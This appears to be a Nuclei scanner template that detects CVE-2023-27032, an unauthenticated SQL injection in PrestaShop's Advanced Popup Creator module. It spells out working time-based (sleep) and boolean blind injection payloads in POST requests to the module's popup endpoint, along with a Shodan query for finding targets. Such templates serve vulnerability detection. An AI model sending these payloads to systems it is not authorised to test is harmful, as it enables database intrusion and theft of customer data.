id: CVE-2023-27032 info: name: PrestaShop AdvancedPopupCreator - SQL Injection author: MaStErChO severity: critical description: | In the module “Advanced Popup Creator” (advancedpopupcreator) from Idnovate for PrestaShop, a guest can perform SQL injection in affected versions. impact: | Unauthenticated attackers can execute arbitrary SQL commands to extract database contents including customer data, orders, payment information, and administrative credentials from the PrestaShop database. remediation: | Upgrade to the latest version of the Advanced Popup Creator module from Idnovate that addresses this SQL injection vulnerability. reference: - https://security.friendsofpresta.org/modules/2023/04/11/advancedpopupcreator.html - https://addons.prestashop.com/en/pop-up/23773-popup-on-entry-exit-popup-add-product-and-newsletter.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-27032 cwe-id: CWE-89 epss-score: 0.40807 epss-percentile: 0.97476 cpe: cpe:2.3:a:idnovate:popup_module_\(on_entering\,_exit_popup\,_add_product\)_and_newsletter:*:*:*:*:*:prestashop:*:* metadata: verified: true max-request: 3 vendor: idnovate product: popup_module_\(on_entering\,_exit_popup\,_add_product\)_and_newsletter framework: prestashop shodan-query: http.component:"prestashop" tags: time-based-sqli,cve,cve2023,sqli,prestashop,advancedpopupcreator,idnovate,vuln,vkev flow: | http(1) && (http(2) || http(3)) http: - id: "extract_values" raw: - | GET / HTTP/1.1 Host: {{Hostname}} host-redirects: true max-redirects: 5 extractors: - type: regex name: time group: 1 regex: - '"time":([0-9]+),' internal: true - type: regex name: token group: 1 regex: - '"static_token":"([0-9a-z]+)",' internal: true - id: "time_based" raw: - | @timeout 20s POST /module/advancedpopupcreator/popup HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded availablePopups=if(now()=sysdate()%2Csleep(6)%2C0)&event=1&fromController=product&getPopup=1&id_category=0&id_manufacturer=0&id_product=1&id_supplier=0&referrer=&responsiveWidth=1280&time={{time}}&token={{token}} - | @timeout 20s POST /module/advancedpopupcreator/popup HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded fromController=(select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'"%2B(select(0)from(select(sleep(6)))v)%2B"*/&id_category=0&id_cms=1&id_manufacturer=0&id_product=0&id_supplier=0&referrer=1&responsiveWidth=1280&time={{time}}&token={{token}}&updateVisits=1&url=https%253A%252F%252F{{Hostname}}%252F stop-at-first-match: true matchers: - type: dsl name: time-based dsl: - status_code == 200 - contains(content_type, "text/html") - contains_all(body,'hasError') - duration >= 6 condition: and - id: "blind_based" raw: - | POST /module/advancedpopupcreator/popup HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded availablePopups=-8514)%20OR%206158%3d6158--%20eKWg&event=1&fromController=product&getPopup=1&id_category=0&id_manufacturer=0&id_product=1&id_supplier=0&referrer=&responsiveWidth=1280&time={{time}}&token={{token}} - | POST /module/advancedpopupcreator/popup HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded availablePopups=-8514)%20OR%206158%3d6157--%20eKWg&event=1&fromController=product&getPopup=1&id_category=0&id_manufacturer=0&id_product=1&id_supplier=0&referrer=&responsiveWidth=1280&time={{time}}&token={{token}} matchers: - type: dsl name: blind-based dsl: - 'status_code == 200' - 'contains(tolower(response_1), "selector")' - '!contains(tolower(response_2), "selector")' condition: and # digest: 4b0a00483046022100d716f3f8f2e757e7af15a8d771983158503adad8bf045ef15222f26509124c09022100ec24cc2f16a4b0d4a3050e268b0a81905979fc77bc4ebf7360db053f1c930078:922c64590222798bb761d5b6d8e72950